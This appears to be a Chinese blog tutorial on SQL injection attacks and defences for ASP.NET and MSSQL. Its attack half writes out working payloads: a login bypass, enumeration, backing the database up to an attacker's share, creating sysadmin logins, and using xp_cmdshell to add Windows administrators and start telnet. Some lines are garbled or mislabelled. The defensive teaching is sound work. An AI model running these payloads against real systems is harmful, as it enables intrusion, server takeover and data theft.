=============安全性篇目录==============
 
毕业开始从事winfrm到今年转到 web ，在码农届已经足足混了快接近3年了，但是对安全方面的知识依旧薄弱，事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下，希望大家多多提意见。
（对于sql注入的攻防，我只用过简单拼接字符串的注入及参数化查询，可以说没什么好经验，为避免后知后觉的犯下大错，专门查看大量前辈们的心得，这方面的资料颇多，将其精简出自己觉得重要的，就成了该文）
 
    下面的程序方案是采用 ASP.NET + MSSQL，其他技术在设置上会有少许不同。   
 示例程序下载：SQL注入攻防入门详解_示例：   http://up.2cto.com/2012/1102/20121102030150699.rar
 
什么是SQL注入（SQL Injection）
所谓SQL注入式攻击，就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。在某些表单中，用户输入的内容直接用来构造（或者影响）动态SQL命令，或作为存储过程的输入参数，这类表单特别容易受到SQL注入式攻击。
 
 
尝尝SQL注入
1.   一个简单的登录页面
关键代码：（详细见下载的示例代码）  
1)   输入正常数据，效果如图：

合并的SQL为：
SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'
 
2)   输入注入数据：
如图，即用户名为：用户名：admin’—，密码可随便输入

    合并的SQL为：
    SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
因为UserName值中输入了“--”注释符，后面语句被省略而登录成功。（常常的手法：前面加上'; ' (分号，用于结束前一条语句)，后边加上'--' (用于注释后边的语句)）
 
2.   上面是最简单的一种SQL注入，常见的注入语句还有：
1)   猜测数据库名，备份数据库
a)   猜测数据库名： and db_name() >0 或系统表master.dbo.sysdatabases
b)   备份数据库：;backup database 数据库名 to disk = ‘c:\*.db’;--
或：declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--
2)   猜解字段名称
a)   猜解法：and (select count(字段名) from 表名)>0   若“字段名”存在，则返回正常
b)   读取法：and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0   把col_name(object_id('表名'),1)中的1依次换成2,3,4,5，6…就可得到所有的字段名称。
3)   遍历系统的目录结构，分析结构并发现WEB虚拟目录（知道位置即可上传木马）
    先创建一个临时表：;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
a)   利用xp_availablemedia来获得当前所有驱动器,并存入temp表中
;insert temp exec master.dbo.xp_availablemedia;--
b)   利用xp_subdirs获得子目录列表,并存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
c)   利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- （实验成功）
4)   查询当前用户的数据库权限
MSSQL中一共存在8种权限：sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。
5)   设置新的数据库帐户（得到管理员账户）
d)   在数据库内添加一个hax用户，默认密码是空
;execsp_addlogin'hax';--
e)   给hax设置密码 (null是旧密码，password是新密码，user是用户名)
;execmaster.dbo.sp_passwordnul,passwordl,username;--
f)   将hax添加到sysadmin组
;execmaster.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--
6)   xp_cmdshell MSSQL存储过程
通过(5)获取到sysadmin权限的帐户后，使用查询分析器连接到数据库，可通过xp_cmdshell运行系统命令行（必须是sysadmin权限），即使用 cmd.exe 工具，可以做什么自己多了解下。
下面我们使用xp_cmdshell来创建一个 Windows 用户，并开启远程登录服务：
a)   判断xp_cmdshell扩展存储过程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'
b)   恢复xp_cmdshell扩展存储过程
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';
开启后使用xp_cmdshell还会报下面错误：
SQL Server 阻止了对组件 'xp_cmdshell' 的过程 'sys.xp_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
通过执行下面语句进行设置：
-- 允许配置高级选项
EXEC sp_configure 'show advanced options', 1
GO
-- 重新配置
RECONFIGURE
GO
-- 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
--重新配置
RECONFIGURE
GO
c)   禁用xp_cmdshell扩展存储过程
Exec master.dbo.sp_dropextendedproc'xp_cmdshell';
d)   添加windows用户：
Exec xp_cmdshell'net user awen /add';
e)   设置好密码：
Exec xp_cmdshell'net user awen password';
f)   提升到管理员：
Exec xp_cmdshell'net localgroup administrators awen /add';
g)   开启telnet服务：
Exec xp_cmdshell'net start tlntsvr'
7)   没有xp_cmdshell扩展程序，也可创建Windows帐户的办法.
(本人windows7系统，测试下面SQL语句木有效果)
declare @shell int ;
execsp_OAcreate 'w script .shell',@shell output ;
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';
在使用的时候会报如下错：
SQL Server 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
        解决办法：
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
好了，这样别人可以登录你的服务器了，你怎么看？
8)   客户端脚本攻击
攻击1：（正常输入）攻击者通过正常的输入提交方式将恶意脚本提交到数据库中，当其他用户浏览此内容时就会受到恶意脚本的攻击。
措施：转义提交的内容，.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。
 
攻击2：（SQL注入）攻击者通过SQL注入方式将恶意脚本提交到数据库中，直接使用SQL语法UPDATE数据库，为了跳过System.Net.WebUtility.HtmlEncode(string) 转义，攻击者会将注入SQL经过“HEX编码”，然后通过exec可以执行“动态”SQL的特性运行脚本”。

示例代码：（可在示例附带的数据库测试）
a)   向当前数据库的每个表的每个字段插入一段恶意脚本





防止SQL注入
1.   数据库权限控制，只给访问数据库的web应用功能所需的最低权限帐户。
如MSSQL中一共存在8种权限：sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
2.   自定义错误信息，首先我们要屏蔽服务器的详细错误信息传到客户端。
在 ASP.NET 中，可通过web.config配置文件的<customErrors>节点设置


mode：指定是启用或禁用自定义错误，还是仅向远程客户端显示自定义错误。

On	指定启用自定义错误。如果未指定defaultRedirect，用户将看到一般性错误。
Off	指定禁用自定义错误。这允许显示标准的详细错误。
RemoteOnly	指定仅向远程客户端显示自定义错误并且向本地主机显示 ASP.NET 错误。这是默认值。

看下效果图：
设置为<customErrors mode="On">一般性错误：

 
设置为<customErrors mode="Off">：

 
3.   把危险的和不必要的存储过程删除
xp_：扩展存储过程的前缀，SQL注入攻击得手之后，攻击者往往会通过执行xp_cmdshell之类的扩展存储过程，获取系统信息，甚至控制、破坏系统。

xp_cmdshell	能执行dos命令，通过语句sp_dropextendedproc删除， 不过依然可以通过sp_addextendedproc来恢复，因此最好删除或改名xplog70.dll（sql server 2000、windows7） xpsql70.dll(sqlserer 7.0)
xp_fileexist	用来确定一个文件是否存在
xp_getfiledetails	可以获得文件详细资料
xp_dirtree	可以展开你需要了解的目录，获得所有目录深度
Xp_getnetname	可以获得服务器名称
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite	可以访问注册表的存储过程
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetPropertySp_OAStop	如果你不需要请丢弃OLE自动存储过程

 
4.   非参数化SQL与参数化SQL
1)   非参数化（动态拼接SQL）
a)   检查客户端脚本：若使用.net，直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的《HTML特殊转义字符》转换掉。
b)   类型检查：对接收数据有明确要求的，在方法内进行类型验证。如数值型用int.TryParse()，日期型用DateTime.TryParse() ，只能用英文或数字等。
c)   长度验证：要进行必要的注入，其语句也是有长度的。所以如果你原本只允许输入10字符，那么严格控制10个字符长度，一些注入语句就没办法进行。
d)   使用枚举：如果只有有限的几个值，就用枚举。
e)   关键字过滤：这个门槛比较高，因为各个数据库存在关键字，内置函数的差异，所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下，学习学习，谢谢！
这边提供一个关键字过滤参考方案(MSSQL)：


效果如图：

参数化关键代码：

     
 
6.   专业的SQL注入工具及防毒软件
情景1
A：“丫的，又中毒了……”
B：“我看看，你这不是裸机在跑吗？”
电脑上至少也要装一款杀毒软件或木马扫描软件，这样可以避免一些常见的侵入。比如开篇提到的SQL创建windows帐户，就会立马报出警报。
   
    情景2
    A：“终于把网站做好了，太完美了，已经检查过没有漏洞了！”
    A：“网站怎么被黑了，怎么入侵的？？？”
    公司或个人有财力的话还是有必要购买一款专业SQL注入工具来验证下自己的网站，这些工具毕竟是专业的安全人员研发，在安全领域都有自己的独到之处。
7.   额外小知识：LIKE中的通配符
尽管这个不属于SQL注入，但是其被恶意使用的方式是和SQL注入类似的。

%	包含零个或多个字符的任意字符串。
_	任何单个字符。
[]	指定范围（例如 [a-f]）或集合（例如 [abcdef]）内的任何单个字符。
[^]	不在指定范围（例如 [^a - f]）或集合（例如 [^abcdef]）内的任何单个字符。

    在模糊查询LIKE中，对于输入数据中的通配符必须转义，否则会造成客户想查询包含这些特殊字符的数据时，这些特殊字符却被解析为通配符。不与 LIKE 一同使用的通配符将解释为常量而非模式。
注意使用通配符的索引性能问题：
a)   like的第一个字符是'%'或'_'时，为未知字符不会使用索引, sql会遍历全表。
b)   若通配符放在已知字符后面，会使用索引。
网上有这样的说法，不过我在MSSQL中使用 ctrl+L 执行语法查看索引使用情况却都没有使用索引，可能在别的数据库中会使用到索引吧……
截图如下：

    有两种将通配符转义为普通字符的方法：
1)   使用ESCAPE关键字定义转义符（通用）
在模式中，当转义符置于通配符之前时，该通配符就解释为普通字符。例如，要搜索在任意位置包含字符串 5% 的字符串，请使用：
        WHERE ColumnA LIKE '%5/%%' ESCAPE '/'
2)   在方括号 ([ ]) 中只包含通配符本身，或要搜索破折号 (-) 而不是用它指定搜索范围，请将破折号指定为方括号内的第一个字符。EG：

符号	含义
LIKE '5[%]'	5%
LIKE '5%'	5 后跟 0 个或多个字符的字符串
LIKE '[_]n'	_n
LIKE '_n'	an, in, on (and so on)
LIKE '[a-cdf]'	a、b、c、d 或 f
LIKE '[-acdf]'	-、a、c、d 或 f
LIKE '[ [ ]'	[
LIKE ']'	]   （右括号不需要转义）

        所以，进行过输入参数的关键字过滤后，还需要做下面转换确保LIKE的正确执行